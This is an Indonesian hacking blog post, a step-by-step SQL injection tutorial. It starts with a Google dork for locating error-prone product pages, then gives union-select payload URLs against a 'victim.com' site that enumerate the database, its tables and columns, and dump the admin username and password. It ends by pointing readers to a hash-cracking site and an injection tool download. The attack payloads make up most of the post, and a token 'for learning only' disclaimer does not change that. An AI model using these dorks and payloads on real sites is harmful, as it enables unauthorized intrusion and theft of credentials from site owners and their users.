Trik lama namun apa salahnya saya Posting bagi yang belum tau :D
Code:
inurl:"product.php?id=" & intext:"You have an error in your SQL syntax"
inurl:"product.php?id=" & intext:"You have an error in your SQL syntax"
trus yg saya dapat :
untuk mengecek bug pada suatu web tambahkan single quote ( ' ) dibelakang url
Code:
http://www.victim.com/detailproduct.php?id=75'
ternyata ada bug-nya, muncul pesan error :
Code:
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1
Untuk mencari column gunakan perintah [ order by ]
Code:
http://www.victim.com/detailproduct.php?id=75 order by 1--
dimulai dengan angka 1, selanjutnya 2, dst sampai muncul pesan error
pada target kita kali ini, error muncul pada angka 19
Code:
http://www.victim.com/detailproduct.php?id=75 order by 19--
muncul pesan error:
Unknown column '19' in 'order clause'
jadi angka yang diambil adalah 19-1 = 18 (jumlah column adalah 18)
Selanjutnya kita akan mencari "angka ajaib" dimana kita bisa melakukan injection dengan perintah "union all select"
Code:
http://www.victim.com/detailproduct.php?id=-75 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter ID 75
akan muncul "angka ajaib" : 3, 11 dan 18
kita pilih salah satunya saja, misal 3
trus kita cari versi Database MySql-nya dengan perintah [version()] atau [@@version] pada angka 3
Code:
http://www.victim.com/detailproduct.php?id=-75 union all select
1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
muncul tulisan :
5.0.90-community
wewww...ternyata versi 5, klo versi 4 sy angkat tangan.....wkwkwkwk :p
nb : lebih mudah versi 5, karena sebentar kita akan mencari informasi table dan column dari information_schema,
dimana information_schema tidak terdapat pada database MySql versi 4. Jadi kalau targetnya mempunyai database MySQL versi 4,
yang kita lakukan yaitu menebak-nebak tablenya... lol
Selanjutnya kita akan mencari table-nya dgn perintah "group_concat(table_name)" pada salah satu angka ajaib
dan "+from+information_schema.tables+where+table_schema=database()--" di belakang angka 18
Code:
http://www.victim.com/detailproduct.php?id=-75 union all select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+where table_schema=database()--
akan muncul nama-nama table :
Code:
login,tbanner,tcatprod,tproduct,tset
Selanjutnya kita cari column dari table yg ada hubungannya dengan user+password,
kali ini kita ambil table "login"
sebelumnya kita convert dulu ke hexa agar dapat dibaca oleh Sql di sini :
http://cyber4rt.com/~converter
ketik : login
pilih ASCII to Hex
hasilnya : 6c6f67696e
Perintah selanjutnya adalah "group_concat(column_name)" pada angka ajaib 3 dan "+from+information_schema.columns+where+table_name=0xHEXA--" di akhir URL
ganti HEXA dengan hasil convert tadi yaitu : 6c6f67696e
tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah diconvert
ke hexa
Code:
http://www.victim.com/detailproduct.php?id=-75 union all select
1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+info
rmation_schema.columns+where+table_name=0x6c6f67696e--
1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+info
rmation_schema.columns+where+table_name=0x6c6f67696e--
muncul column : user,pass
untuk melihat isi dari kedua column tersebut gunakan perintah "group_concat(column1,0x3a,column2)" pada angka ajaib 3 dan +from+NAMATABLE-- pada akhir URL
ganti column 1 dengan "user" dan column2 dengan "pass"
0x3a adalah tanda titik dua ( : ) yang telah diconvert ke hexa
NAMA TABLE diganti dengan "login" untuk mengambil informasi dari table yang bernama "login"
Code:
http://www.victim.com/detailproduct.php?id=-75 union all select
1,2,group_concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+login--
1,2,group_concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+login--
hasil : admin:admin
jadi,
user = admin
password = admin
nb : Jika ada yang mendapatkan password yang berupa MD5 seperti "21232f297a57a5a743894a0e4a801fc3" atau yang lainnya, silahkan anda hash di sini http://hashchecker.de/find.html
Selesai ??? belum....wkwkwkwk :p
Langkah selanjutnya adalah mencari Admin Page target kita. Anda bisa menggunakan "adminfinder" atau "scanlink.py"
download di mari : http://www.ziddu.com/download/10386415/InstantSQLI.rar.html
Klo ada yg dapat admin pagenya... tolong jangan di deface, ini hanya untuk pembelajaran saja.
Sumber: acizninja
Anda baru saja membaca artikel yang berkategori Hacking /
Tutorial
dengan judul Tutorial SQL Injection langkah demi langkah. Anda bisa bookmark halaman ini dengan URL http://catatan-lutfi.blogspot.com/2012/07/tutorial-sql-injection-langkah-demi.html. Terima kasih!
Ditulis oleh:
Lutfi rahman - Selasa, 17 Juli 2012
Belum ada komentar untuk "Tutorial SQL Injection langkah demi langkah"
Posting Komentar